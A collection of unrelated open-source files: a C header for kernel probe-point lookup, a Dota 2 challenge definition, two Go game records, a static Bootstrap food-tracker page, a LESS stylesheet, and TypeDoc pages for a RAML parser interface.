#ifndef _PROBE_FINDER_H #define _PROBE_FINDER_H #define MAX_PATH_LEN 256 #define MAX_PROBE_BUFFER 1024 #define MAX_PROBES 128 static inline int is_c_varname(const char *name) { /* TODO */ return isalpha(name[0]) || name[0] == '_'; } struct probe_point { char *event; /* Event name */ char *group; /* Event group */ /* Inputs */ char *file; /* File name */ int line; /* Line number */ char *function; /* Function name */ int offset; /* Offset bytes */ int nr_args; /* Number of arguments */ char **args; /* Arguments */ int retprobe; /* Return probe */ /* Output */ int found; /* Number of found probe points */ char *probes[MAX_PROBES]; /* Output buffers (will be allocated)*/ }; #ifndef NO_LIBDWARF extern int find_probepoint(int fd, struct probe_point *pp); /* Workaround for undefined _MIPS_SZLONG bug in libdwarf.h: */ #ifndef _MIPS_SZLONG # define _MIPS_SZLONG 0 #endif #include <dwarf.h> #include <libdwarf.h> struct probe_finder { struct probe_point *pp; /* Target probe point */ /* For function searching */ Dwarf_Addr addr; /* Address */ Dwarf_Unsigned fno; /* File number */ Dwarf_Unsigned lno; /* Line number */ Dwarf_Off inl_offs; /* Inline offset */ Dwarf_Die cu_die; /* Current CU */ /* For variable searching */ Dwarf_Addr cu_base; /* Current CU base address */ Dwarf_Locdesc fbloc; /* Location of Current Frame Base */ const char *var; /* Current variable name */ char *buf; /* Current output buffer */ int len; /* Length of output buffer */ }; #endif /* NO_LIBDWARF */ #endif /*_PROBE_FINDER_H */
{ "pile_set_name": "Github" }
"pugna_decrepify_nether_blast_combo" { "desc" "#DOTA_ChallengeDesc_Pugna_NetherBlastDecrepCombo" "requiredhero" "pugna" "image" "images/spellicons/pugna_decrepify.png" "events" { "matching_type" "timeblock_series_any_order" "query" { "time_block" "2.0" "series" { "decrepify" { "event" "modifier_add" "modifier" "modifier_pugna_decrepify" "target_must_be_hero" "1" "target" "|1" "storage" { "1" { "key" "target" "aggregator" "count" "once_per_query" "1" } } } "nether_blast" { "event" "damage" "attack" "pugna_nether_blast" "target_must_be_hero" "1" "target" "|1" "storage" { "1" { "key" "target" "aggregator" "count" "once_per_query" "1" } } } } } "clear_storage_per_query" { "1" "1" "2" "0" } "progress_stored_in" "2" "postmatch_increments" { "storage" { "2" { "aggregator" "increment" } } } "post_tests" { "combos_performed" { "storage" "2" "compare" ">=" "amount" "<combos_performed>" } } } "variables" { "<combos_performed>" { "format" "int" "index" "0" } } }
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2018-08-19] PB[별의전쟁]BR[9段] PW[金毛测试]WR[9段] KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[10]TT[15]RL[0] ;B[pd];W[dd];B[qp];W[dp];B[np];W[qc];B[pc];W[qd];B[qf];W[qe];B[pe] ;W[rf];B[qb];W[rb];B[re];W[pb];B[rc];W[qa];B[rd];W[qb];B[rg];W[pf] ;B[qg];W[nc];B[nf];W[ld];B[fq];W[of];B[oe];W[ph];B[nd];W[me];B[oh] ;W[pg];B[ne];W[qi];B[mc];W[nb];B[sf];W[md];B[oi];W[qk];B[qm];W[pm] ;B[qn];W[ng];B[mf];W[mh];B[kf];W[nj];B[oj];W[og];B[nk];W[kh];B[li] ;W[lh];B[kd];W[lc];B[le];W[je];B[ke];W[ig];B[oc];W[lb];B[ob];W[oa] ;B[ic];W[jb];B[ie];W[pl];B[nm];W[mk];B[nl];W[ll];B[dn];W[ln];B[km] ;W[lm];B[mo];W[en];B[em];W[fn];B[fm];W[fp];B[cq];W[gm];B[gl];W[dm] ;B[cn];W[cm];B[bm];W[dk];B[fk];W[hl];B[ck];W[dl];B[fj];W[di];B[bo] ;W[eh];B[hk];W[hm];B[jk];W[eq];B[cj];W[dj];B[ci];W[bl];B[cl];W[ch] ;B[bh];W[bg];B[cg];W[dh];B[bi];W[lo])
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Food Tracker | Home</title> <link href="https://fonts.googleapis.com/css?family=Oswald|Ubuntu:400,700" rel="stylesheet"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="./bs/css/united.min.css" /> <link rel="stylesheet" href="./styles.css" /> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container-fluid" id="wrapper"> <div class="row" id="homeJumbo"> <div class="overlay"></div> <div class="col-lg-12"> <h1> <a href="./">FOOD TRACKER</a> </h1> <div class="row t20"> <div class="col-lg-4 col-lg-offset-4"> <ul class="nav nav-pills nav-justified"> <li role="presentation" class="active"> <a href="./" title="Home">Home</a> </li> <li role="presentation"> <a href="./add.html" title="Add Food Item">Add Food Item</a> </li> </ul> </div> </div> </div> </div> <div class="row t20"> <div class="col-lg-4 col-lg-offset-4"> <div class="panel panel-default"> <div class="panel-body"> <form action="" method="POST" role="form"> <div class="form-group"> <label><i class="glyphicon glyphicon-plus-sign"></i> Add New Date</label> <div class="input-group"> <input type="date" class="form-control" placeholder="Select New Date" aria-label="date" aria-describedby="add-btn"> <span class="input-group-btn"> <button type="submit" class="btn btn-primary" id="add-btn"> <i class="glyphicon glyphicon-plus-sign"></i> Add Date </button> </span> </div> </div> </form> </div> </div> </div> </div> <div class="row t20"> <div class="col-lg-12"> <h4 class="text-center text-white"><strong>Existing Records (30)</strong></h4> </div> </div> <div class="row t20"> <div class="col-lg-3"> <div class="panel panel-warning"> <div class="panel-body text-bold"> <i class="glyphicon glyphicon-calendar"></i> December 14, 2017 <a class="btn btn-primary btn-xs pull-right" href="./view.html"> View <i class="glyphicon glyphicon-arrow-right"></i> </a> </div> <ul class="list-group"> <li class="list-group-item text-bold"><span class="badge">60</span> Protein</li> <li class="list-group-item text-bold"><span class="badge">49</span> Carbohydrate</li> <li class="list-group-item text-bold"><span class="badge">55</span> Fat</li> <li class="list-group-item text-bold"><span class="badge">955</span> Calories</li> </ul> </div> </div> <div class="col-lg-3"> <div class="panel panel-warning"> <div class="panel-body text-bold"> <i class="glyphicon glyphicon-calendar"></i> December 14, 2017 <a class="btn btn-primary btn-xs pull-right" href="./view.html"> View <i class="glyphicon glyphicon-arrow-right"></i> </a> </div> <ul class="list-group"> <li class="list-group-item text-bold"><span class="badge">60</span> Protein</li> <li class="list-group-item text-bold"><span class="badge">49</span> Carbohydrate</li> <li class="list-group-item text-bold"><span class="badge">55</span> Fat</li> <li class="list-group-item text-bold"><span class="badge">955</span> Calories</li> </ul> </div> </div> <div class="col-lg-3"> <div class="panel panel-warning"> <div class="panel-body text-bold"> <i class="glyphicon glyphicon-calendar"></i> December 14, 2017 <a class="btn btn-primary btn-xs pull-right" href="./view.html"> View <i class="glyphicon glyphicon-arrow-right"></i> </a> </div> <ul class="list-group"> <li class="list-group-item text-bold"><span class="badge">60</span> Protein</li> <li class="list-group-item text-bold"><span class="badge">49</span> Carbohydrate</li> <li class="list-group-item text-bold"><span class="badge">55</span> Fat</li> <li class="list-group-item text-bold"><span class="badge">955</span> Calories</li> </ul> </div> </div> <div class="col-lg-3"> <div class="panel panel-warning"> <div class="panel-body text-bold"> <i class="glyphicon glyphicon-calendar"></i> December 14, 2017 <a class="btn btn-primary btn-xs pull-right" href="./view.html"> View <i class="glyphicon glyphicon-arrow-right"></i> </a> </div> <ul class="list-group"> <li class="list-group-item text-bold"><span class="badge">60</span> Protein</li> <li class="list-group-item text-bold"><span class="badge">49</span> Carbohydrate</li> <li class="list-group-item text-bold"><span class="badge">55</span> Fat</li> <li class="list-group-item text-bold"><span class="badge">955</span> Calories</li> </ul> </div> </div> </div> <footer> <div class="row pad"> <div class="col-lg-12 text-center"> Copyright &copy; 2017 <strong>Food Tracker</strong> </div> </div> </footer> </div> <!-- jQuery --> <script src="./bs/js/jquery.min.js"></script> <!-- Bootstrap JavaScript --> <script src="./bs/js/bootstrap.min.js"></script> </body> </html>
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2018-04-09] PB[BensonDarr]BR[9段] PW[でぇもん]WR[9段] KM[750]HA[0]RU[Japanese]RE[B+R]TM[1800]TC[7]TT[30] ;B[dd];W[pp];B[dq];W[pd];B[dn];W[cc];B[dc];W[cd];B[cf];W[ce];B[de] ;W[bf];B[cb];W[bb];B[be];W[db];B[bc];W[ca];B[bd];W[cb];B[bg];W[df] ;B[cg];W[fc];B[ff];W[dp];B[cp];W[cq];B[co];W[fp];B[dr];W[jp];B[qq] ;W[pq];B[qp];W[qn];B[qo];W[po];B[rn];W[eq];B[gq];W[er];B[cr];W[gp] ;B[qm];W[pn];B[qr];W[nc];B[lq];W[iq];B[ko];W[ol];B[mn];W[ql];B[pm] ;W[om];B[rm];W[mp];B[jr];W[ir];B[hd];W[hc];B[fd];W[gc];B[jo];W[gm] ;B[ho];W[fn];B[hp];W[hq];B[ml];W[oj];B[qf];W[qe];B[pf];W[qi];B[nf] ;W[mi];B[od];W[oc];B[qc];W[re];B[pc];W[rf];B[nd];W[mc];B[md];W[lc] ;B[rg];W[rh];B[qg];W[sg];B[pe];W[qd];B[rc];W[pb];B[sf];W[se];B[sd] ;W[sh];B[rd];W[sf];B[qb];W[oa];B[sb];W[mq];B[mr];W[nr];B[lr];W[gr] ;B[or];W[ns];B[mo];W[np];B[pr];W[oq];B[jl];W[di];B[eh];W[cl];B[id] )
{ "pile_set_name": "Github" }
@import "reset.less"; @import "mixins.less"; @import "fonts.less"; html { width: 100%; height: 100%; } body { font-family: "Lato", sans-serif; background: #ECF0F1; position: relative; width: 100%; height: 100%; } @import "lists/repos.less"; @import "lists/messages.less"; @import "conversation.less"; @import "footer.less"; @import "login.less"; @import "repoinfos.less"; .main { position: absolute; top: 0px; left: 0px; right: 0px; bottom: 0px; .main-body { position: absolute; top: 0px; left: 0px; right: 0px; bottom: 40px; overflow: hidden; /* List repos */ .main-repos { position: fixed; top: 0px; left: 0px; bottom: 40px; width: 244px; overflow: hidden; background: #3498db; .border-radius(0px); .logo { width: 120px; margin-left: auto; margin-right: auto; display: block; opacity: 0.15; } .list-repos { overflow-y: auto; position: absolute; top: 130px; bottom: 0px; left: 0px; right: 0px; } .action-link-user { position: absolute; bottom: 0px; left: 0px; right: 0px; overflow: hidden; background: #2ecc71; color: #fff; line-height: 35px; padding: 6px 8px; text-decoration: none; text-align: center; &:hover { background: #27ae60; color: #fff; } } } /* Conversations */ .main-conversations { position: absolute; top: 50px; left: 244px; bottom: 0px; right: 0px; overflow-y: auto; padding: 10px 50px; } /* Repos infos */ .main-repoinfos { position: absolute; top: 0px; left: 244px; height: 50px; right: 0px; overflow: hidden; background: #ddd; } /* Modal to create gitrap */ .main-create-conversation { display: none; position: absolute; top: 50%; left: 50%; height: 140px; margin-top: -120px; width: 500px; margin-left: -148px; background: #fff; padding: 20px; font-size: 20px; line-height: 28px; .help { color: #888; font-size: 16px; line-height: 28px; } .action-init-repo { position: absolute; bottom: 20px; left: 20px; right: 20px; overflow: hidden; background: #2ecc71; color: #fff; line-height: 35px; padding: 6px 8px; text-decoration: none; text-align: center; &:hover { background: #27ae60; color: #fff; } } } } } .mode-init-repo { .main-conversations, .main-repoinfos { display: none !important; } .main-create-conversation { display: block !important; } }
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>MethodBaseScalarsAnnotations | RAML JS Parser 2</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> <script src="../assets/js/modernizr.js"></script> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">RAML JS Parser 2</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="../modules/_src_raml1_artifacts_raml10parserapi_.html">&quot;src/raml1/artifacts/raml10parserapi&quot;</a> </li> <li> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html">MethodBaseScalarsAnnotations</a> </li> </ul> <h1>Interface MethodBaseScalarsAnnotations</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel tsd-comment"> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>MethodBase scalar properties annotations accessor</p> </div> </div> </section> <section class="tsd-panel tsd-hierarchy"> <h3>Hierarchy</h3> <ul class="tsd-hierarchy"> <li> <a href="_src_raml1_artifacts_raml10parserapi_.annotablescalarsannotations.html" class="tsd-signature-type">AnnotableScalarsAnnotations</a> <ul class="tsd-hierarchy"> <li> <span class="target">MethodBaseScalarsAnnotations</span> <ul class="tsd-hierarchy"> <li> <a href="_src_raml1_artifacts_raml10parserapi_.methodscalarsannotations.html" class="tsd-signature-type">MethodScalarsAnnotations</a> </li> <li> <a href="_src_raml1_artifacts_raml10parserapi_.traitscalarsannotations.html" class="tsd-signature-type">TraitScalarsAnnotations</a> </li> </ul> </li> </ul> </li> </ul> </section> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section tsd-is-external"> <h3>Methods</h3> <ul class="tsd-index-list"> <li class="tsd-kind-method tsd-parent-kind-interface tsd-is-inherited tsd-is-external"><a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#annotations" class="tsd-kind-icon">annotations</a></li> <li class="tsd-kind-method tsd-parent-kind-interface tsd-is-external"><a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#description" class="tsd-kind-icon">description</a></li> <li class="tsd-kind-method tsd-parent-kind-interface tsd-is-external"><a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#displayname" class="tsd-kind-icon">display<wbr>Name</a></li> <li class="tsd-kind-method tsd-parent-kind-interface tsd-is-external"><a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#is" class="tsd-kind-icon">is</a></li> <li class="tsd-kind-method tsd-parent-kind-interface tsd-is-external"><a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#protocols" class="tsd-kind-icon">protocols</a></li> <li class="tsd-kind-method tsd-parent-kind-interface tsd-is-external"><a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#securedby" class="tsd-kind-icon">secured<wbr>By</a></li> </ul> </section> </div> </section> </section> <section class="tsd-panel-group tsd-member-group tsd-is-external"> <h2>Methods</h2> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface tsd-is-inherited tsd-is-external"> <a name="annotations" class="tsd-anchor"></a> <h3>annotations</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface tsd-is-inherited tsd-is-external"> <li class="tsd-signature tsd-kind-icon">annotations<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <p>Inherited from <a href="_src_raml1_artifacts_raml10parserapi_.annotablescalarsannotations.html">AnnotableScalarsAnnotations</a>.<a href="_src_raml1_artifacts_raml10parserapi_.annotablescalarsannotations.html#annotations">annotations</a></p> <ul> <li>Defined in <a href="https://github.com/raml-org/raml-js-parser-2/blob/develop/src/raml1/artifacts/raml10parserapi.ts#L478">src/raml1/artifacts/raml10parserapi.ts:478</a></li> </ul> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>Annotable.annotations annotations</p> </div> </div> <h4 class="tsd-returns-title">Returns <a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a name="description" class="tsd-anchor"></a> <h3>description</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <li class="tsd-signature tsd-kind-icon">description<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/raml-org/raml-js-parser-2/blob/develop/src/raml1/artifacts/raml10parserapi.ts#L1527">src/raml1/artifacts/raml10parserapi.ts:1527</a></li> </ul> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>MethodBase.description annotations</p> </div> </div> <h4 class="tsd-returns-title">Returns <a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a name="displayname" class="tsd-anchor"></a> <h3>display<wbr>Name</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <li class="tsd-signature tsd-kind-icon">display<wbr>Name<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/raml-org/raml-js-parser-2/blob/develop/src/raml1/artifacts/raml10parserapi.ts#L1533">src/raml1/artifacts/raml10parserapi.ts:1533</a></li> </ul> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>MethodBase.displayName annotations</p> </div> </div> <h4 class="tsd-returns-title">Returns <a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a name="is" class="tsd-anchor"></a> <h3>is</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <li class="tsd-signature tsd-kind-icon">is<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/raml-org/raml-js-parser-2/blob/develop/src/raml1/artifacts/raml10parserapi.ts#L1515">src/raml1/artifacts/raml10parserapi.ts:1515</a></li> </ul> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>MethodBase.is annotations</p> </div> </div> <h4 class="tsd-returns-title">Returns <a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a name="protocols" class="tsd-anchor"></a> <h3>protocols</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <li class="tsd-signature tsd-kind-icon">protocols<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/raml-org/raml-js-parser-2/blob/develop/src/raml1/artifacts/raml10parserapi.ts#L1509">src/raml1/artifacts/raml10parserapi.ts:1509</a></li> </ul> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>MethodBase.protocols annotations</p> </div> </div> <h4 class="tsd-returns-title">Returns <a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a name="securedby" class="tsd-anchor"></a> <h3>secured<wbr>By</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <li class="tsd-signature tsd-kind-icon">secured<wbr>By<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/raml-org/raml-js-parser-2/blob/develop/src/raml1/artifacts/raml10parserapi.ts#L1521">src/raml1/artifacts/raml10parserapi.ts:1521</a></li> </ul> </aside> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>MethodBase.securedBy annotations</p> </div> </div> <h4 class="tsd-returns-title">Returns <a href="_src_raml1_artifacts_raml10parserapi_.annotationref.html" class="tsd-signature-type">AnnotationRef</a><span class="tsd-signature-symbol">[]</span></h4> </li> </ul> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> <li class="current tsd-kind-external-module tsd-is-external"> <a href="../modules/_src_raml1_artifacts_raml10parserapi_.html">"src/raml1/artifacts/raml10parserapi"</a> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> </ul> <ul class="current"> <li class="current tsd-kind-interface tsd-parent-kind-external-module tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html" class="tsd-kind-icon">Method<wbr>Base<wbr>Scalars<wbr>Annotations</a> <ul> <li class=" tsd-kind-method tsd-parent-kind-interface tsd-is-inherited tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#annotations" class="tsd-kind-icon">annotations</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#description" class="tsd-kind-icon">description</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#displayname" class="tsd-kind-icon">display<wbr>Name</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#is" class="tsd-kind-icon">is</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#protocols" class="tsd-kind-icon">protocols</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface tsd-is-external"> <a href="_src_raml1_artifacts_raml10parserapi_.methodbasescalarsannotations.html#securedby" class="tsd-kind-icon">secured<wbr>By</a> </li> </ul> </li> </ul> <ul class="after-current"> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> <li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li> <li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="http://typedoc.io" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> <script>if (location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script> </body> </html>
{ "pile_set_name": "Github" }
